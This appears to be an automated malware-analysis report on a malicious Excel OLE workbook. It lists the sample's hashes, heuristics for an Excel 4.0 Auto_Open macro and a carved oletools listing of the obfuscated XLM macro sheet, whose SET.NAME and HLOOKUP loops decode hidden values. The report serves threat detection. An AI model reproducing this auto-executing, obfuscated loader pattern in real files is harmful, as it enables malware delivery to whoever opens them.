Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 98b1ce7658894b55…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:53 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 315aa874e322363b6f738bcdb9f8b90d SHA-1: 12f5e1f63de089e4123e89000c70e13cb31c6dea SHA-256: 98b1ce7658894b559da1635a0ed6ecf5c7271c01ba8ea16f5dad45d0e8021362
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6548 bytes
SHA-256: 579d7ff1984677579a5008b111e745349256f4311ab696e8304162d876b5a576
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  egZ
' 0018     26 LABEL : Cell Value, String Constant - aKTQLsmzJxI len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I184 
' 0018     25 LABEL : Cell Value, String Constant - eiOYCMnHtX len=0 
' 0018     23 LABEL : Cell Value, String Constant - HBXWBflP len=0 
' 0018     20 LABEL : Cell Value, String Constant - HYnhH len=0 
' 0018     24 LABEL : Cell Value, String Constant - JFCYCusEA len=0 
' 0018     22 LABEL : Cell Value, String Constant - lGfJJUM len=0 
' 0018     27 LABEL : Cell Value, String Constant - LiPZXlYQYCaT len=0 
' 0018     22 LABEL : Cell Value, String Constant - OYmWwxE len=0 
' 0018     20 LABEL : Cell Value, String Constant - pwXnZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - RjeLrOkqCjcE len=0 
' 0018     21 LABEL : Cell Value, String Constant - rUkUHd len=0 
' 0018     27 LABEL : Cell Value, String Constant - SEnEtPTGazdO len=0 
' 0018     24 LABEL : Cell Value, String Constant - sVQROjdeY len=0 
' 0018     22 LABEL : Cell Value, String Constant - TuQnGpm len=0 
' 0018     23 LABEL : Cell Value, String Constant - uPyiDYHP len=0 
' 0018     25 LABEL : Cell Value, String Constant - USnkKxGmIQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - wPvcSHNmdrJL len=0 
' 0018     20 LABEL : Cell Value, String Constant - WvPeJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - XaVKmuXL len=0 
' 0018     23 LABEL : Cell Value, String Constant - yJkTPqyo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  egZ,T45,"",303.00000000000000000000
'  egZ,T46,"",-823.00000000000000000000
'  egZ,T47,"",-616.00000000000000000000
'  egZ,T48,"",840.00000000000000000000
'  egZ,T49,"",930.00000000000000000000
'  egZ,T50,"",516.00000000000000000000
'  egZ,I84,"SET.NAME("aKTQLsmzJxI",0+VALUE("0"))",""
'  egZ,I88,"SET.NAME("HYnhH",aKTQLsmzJxI)",""
'  egZ,I93,"SET.NAME("TuQnGpm",aKTQLsmzJxI)",""
'  egZ,I97,"SET.NAME("USnkKxGmIQ",COUNTA(OYmWwxE))",""
'  egZ,I101,"SET.NAME("uPyiDYHP",COUNTA(lGfJJUM))",""
'  egZ,I105,[],""
'  egZ,I108,"SET.NAME("JFCYCusEA","")",""
'  egZ,I112,"HYnhH",""
'  egZ,I116,"SET.NAME("SEnEtPTGazdO",HLOOKUP("*",OYmWwxE,HYnhH,FALSE))",""
'  egZ,I121,"wPvcSHNmdrJL",""
'  egZ,I123,"SET.NAME("eiOYCMnHtX",aKTQLsmzJxI)",""
'  egZ,I126,[],""
'  egZ,I128,"eiOYCMnHtX",""
'  egZ,I133,"HBXWBflP",""
'  egZ,I138,"XaVKmuXL",""
'  egZ,I142,"WvPeJ",""
'  egZ,I146,"SET.NAME("LiPZXlYQYCaT",VALUE(HLOOKUP("*",lGfJJUM,WvPeJ,FALSE)))",""
'  egZ,I149,"RjeLrOkqCjcE",""
'  egZ,I154,"JFCYCusEA",""
'  egZ,I158,"TuQnGpm",""
'  egZ,I160,NEXT(),""
'  egZ,I165,"rUkUHd",""
'  egZ,I169,[],""
'  egZ,I173,"sVQROjdeY",""
'  egZ,I175,NEXT(),""
'  egZ,I180,RETURN(),""
'  egZ,I209,"SET.NAME("yJkTPqyo",I84)",""
'  egZ,I214,"OYmWwxE",""
'  egZ,I217,"SET.NAME("lGfJJUM",R93C15)",""
'  egZ,I221,"SET.NAME("sVQROjdeY",228)",""
'  egZ,I225,"SET.NAME("pwXnZ",9)",""
'  egZ,I227,yJkTPqyo(),""
'  egZ,I228,HALT(),""

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